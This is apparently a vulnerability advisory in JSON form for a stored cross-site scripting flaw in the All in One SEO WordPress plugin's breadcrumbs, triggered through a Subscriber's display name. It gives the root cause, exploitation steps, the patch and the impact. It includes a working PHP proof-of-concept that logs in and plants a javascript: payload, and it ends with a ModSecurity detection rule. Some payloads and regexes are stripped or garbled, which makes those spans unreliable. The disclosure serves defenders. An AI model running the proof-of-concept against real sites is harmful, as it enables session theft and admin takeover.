{
“analysis”: “Atomic Edge analysis of CVE-2026-128038: Authenticated (Subscriber+) Stored Cross-Site Scripting in All in One SEO helpers->decodeHtmlEntities() at the end of the method. The vulnerable line was `$string = preg_replace_callback(…, aioseo()->helpers->decodeHtmlEntities( $string ) );` which decoded the whole rendered crumb after substitution. Tag values sourced from user-controlled data (such as the author display_name) were therefore converted from stored HTML entities back into live markup after substitution. The newly added escapeTagValue() method did not exist in 5.0.5, so no per-tag contextual escaping was applied: breadcrumb_link was not passed through esc_url(), and default tags were not passed through esc_html(). Separately, Frontend.php::stripLink() used the loose regex `/|/is`, which only matched anchor start tags containing whitespace after the tag name. Payloads like `` or “ evaded the link stripper. The combination of whole-string entity decoding plus the loose stripLink regex allowed attacker-controlled markup to reach the final HTML.”,
“Exploitation: An attacker registers or authenticates as a Subscriber and sets the profile ‘display_name’ field (wp-admin/profile.php or the corresponding REST/wp-json/wp/v2/users/me POST) to a payload such as `Click me` or ``. The value is stored in wp_users.display_name. When a victim loads the author archive page (/author//) where the site admin has inserted the AIOSEO breadcrumb, the breadcrumb engine substitutes the author display_name tag via replaceTagsInString(). stripLink() fails to remove the payload because the anchor tag lacks whitespace after `CVE description, this requires WP 6.6+ with the Interactivity runtime) executes the JavaScript in the victim's session.",
"Patch Analysis: Three coordinated changes fix the flaw. First, Tags.php::replaceTagsInString() stops decoding the whole string; decodeHtmlEntities() is no longer applied to $string before the title-attribute regex, and the callback now operates on `(string) $string` directly. This prevents encoded tag values from being revived as markup anywhere except inside the title attribute. Second, a new escapeTagValue() method is introduced and invoked for every tag value before substitution. It applies esc_url() to breadcrumb_link, passes breadcrumb_separator and breadcrumb_wc_product_price through unchanged because they are trusted markup generators, and applies `esc_html( decodeHtmlEntities( $value ) )` to all other tags. This double-step preserves entities already stored by WordPress without allowing new markup through. Third, Frontend.php::stripLink() tightens the regex from `/|/is` to `/]*>|/i`, so any `<a` not followed by an alphanumeric or dash is matched and stripped. The patch also simplifies the search-query branch in Frontend.php line 112 to a single esc_html() call. Together these changes route every attacker-controlled breadcrumb value through a context-appropriate escaper and close the stripLink bypass.",
"Impact: Successful exploitation yields stored cross-site scripting executed in the browser of any visitor (including administrators) who clicks the rendered breadcrumb on the author archive. An attacker can steal session cookies, perform actions as the victim (including admin actions if a site operator is lured), inject persistent malicious content, modify plugin and theme settings, create backdoor administrator accounts, or exfiltrate sensitive data. Because the payload is stored in the user profile, it persists until an administrator manually cleans the display_name field or the plugin is updated. Subscriber-level access is the only prerequisite, which makes this reachable on any WordPress site that accepts user registration or has any low-privileged account."
,
"poc_php": "CLICK‘;nn$cookie_jar = tempnam(sys_get_temp_dir(), ‘aioseo_cve_’);nnfunction http_request( $url, $method = ‘GET’, $post_fields = null, $cookie_jar = null, $follow = true ) {n $ch = curl_init( $url );n curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );n curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, $follow );n curl_setopt( $ch, CURLOPT_USERAGENT, ‘AtomicEdge-PoC/1.0’ );n if ( $cookie_jar ) {n curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie_jar );n curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie_jar );n }n if ( $method === ‘POST’ ) {n curl_setopt( $ch, CURLOPT_POST, true );n if ( $post_fields !== null ) {n curl_setopt( $ch, CURLOPT_POSTFIELDS, $post_fields );n }n }n $body = curl_exec( $ch );n $code = curl_getinfo( $ch, CURLINFO_HTTP_CODE );n curl_close( $ch );n return array( $code, $body );n}nn// Step 1: fetch the login form to obtain any required cookies and noncesnlist( $login_get_code, $login_get_body ) = http_request( $target_url . ‘/wp-login.php’, ‘GET’, null, $cookie_jar );nif ( $login_get_code !== 200 ) {n fwrite( STDERR, “Failed to load login page (HTTP $login_get_code)\n” );n exit( 1 );n}nn// Step 2: perform the login as a Subscribern$login_fields = http_build_query( array(n ‘log’ => $subscriber_username,n ‘pwd’ => $subscriber_password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/profile.php’,n ‘testcookie’ => ‘1’,n) );nlist( $login_post_code, $login_post_body ) = http_request( $target_url . ‘/wp-login.php’, ‘POST’, $login_fields, $cookie_jar );nif ( strpos( (string) $login_post_body, ‘login_error’ ) !== false ) {n fwrite( STDERR, “Authentication failed for $subscriber_username\n” );n exit( 1 );n}nn// Step 3: load the profile page to fetch the _wpnonce and _wp_http_referer valuesnlist( $profile_get_code, $profile_get_body ) = http_request( $target_url . ‘/wp-admin/profile.php’, ‘GET’, null, $cookie_jar );nif ( $profile_get_code !== 200 ) {n fwrite( STDERR, “Failed to load profile page (HTTP $profile_get_code). Subscriber may lack access.\n” );n exit( 1 );n}nnif ( ! preg_match( ‘/name=”_wpnonce”\s+value=”([^”]+)”/i’, $profile_get_body, $nonce_match ) ) {n fwrite( STDERR, “Could not extract _wpnonce from profile page\n” );n exit( 1 );n}n$nonce = $nonce_match[1];nnif ( ! preg_match( ‘/name=”_wp_http_referer”\s+value=”([^”]*)”/i’, $profile_get_body, $referer_match ) ) {n $referer = ‘/wp-admin/profile.php’;n} else {n $referer = $referer_match[1];n}nn// Step 4: submit the profile update with the malicious display_namen$profile_fields = http_build_query( array(n ‘_wpnonce’ => $nonce,n ‘_wp_http_referer’=> $referer,n ‘from’ => ‘profile’,n ‘checkuser_id’ => ”,n ‘action’ => ‘update’,n ‘user_id’ => ”,n ‘display_name’ => $payload,n ‘submit’ => ‘Update Profile’,n) );nlist( $profile_post_code, $profile_post_body ) = http_request( $target_url . ‘/wp-admin/profile.php’, ‘POST’, $profile_fields, $cookie_jar );nn// Step 5: verify that the payload is now stored on the profile pagenlist( $verify_code, $verify_body ) = http_request( $target_url . ‘/wp-admin/profile.php’, ‘GET’, null, $cookie_jar );n$stored = ( strpos( (string) $verify_body, ‘javascript:alert(document.domain)’ ) !== false );nn@unlink( $cookie_jar );nnecho “[*] Target: $target_url\n”;necho “[*] Subscriber: $subscriber_username\n”;necho “[*] Profile POST: HTTP $profile_post_code\n”;necho “[*] Payload stored: ” . ( $stored ? ‘YES’ : ‘NO (may be encoded; check manually)’ ) . “\n”;necho “[*] Trigger URL: $target_url/author//\n”;necho “[*] Note: victim must load the author archive on a site where an admin\n”;necho ” has rendered the AIOSEO breadcrumb and where WP 6.6+ Interactivity\n”;necho ” runtime is loaded. Clicking the rendered crumb fires the alert.\n”;n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-128038n# Block Stored XSS attempts against the WordPress profile display_name field.n# The vulnerability is exploited by a Subscriber updating their profile with ann# unescaped payload that contains an HTML anchor/script tag or event handler.n# Legitimate display_name values almost never contain angle brackets or then# javascript: scheme, so this rule is surgically scoped to profile update POSTs.nSecRule REQUEST_URI “@streq /wp-admin/profile.php” \n “id:2026128038,phase:2,deny,status:403,chain,msg:’CVE-2026-128038 Stored XSS via display_name in AIOSEO breadcrumbs’,severity:’CRITICAL’,tag:’CVE-2026-128038′,tag:’OWASP_CRS/WEB_ATTACK/XSS'”n SecRule REQUEST_METHOD “@streq POST” “chain”n SecRule ARGS_POST:display_name “@rx (?i)(<\s*a[\s/]|<\s*script|javascript\s*:|on(error|load|click|mouseover|focus)\s*=|data\s*:\s*text/html)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase""
}







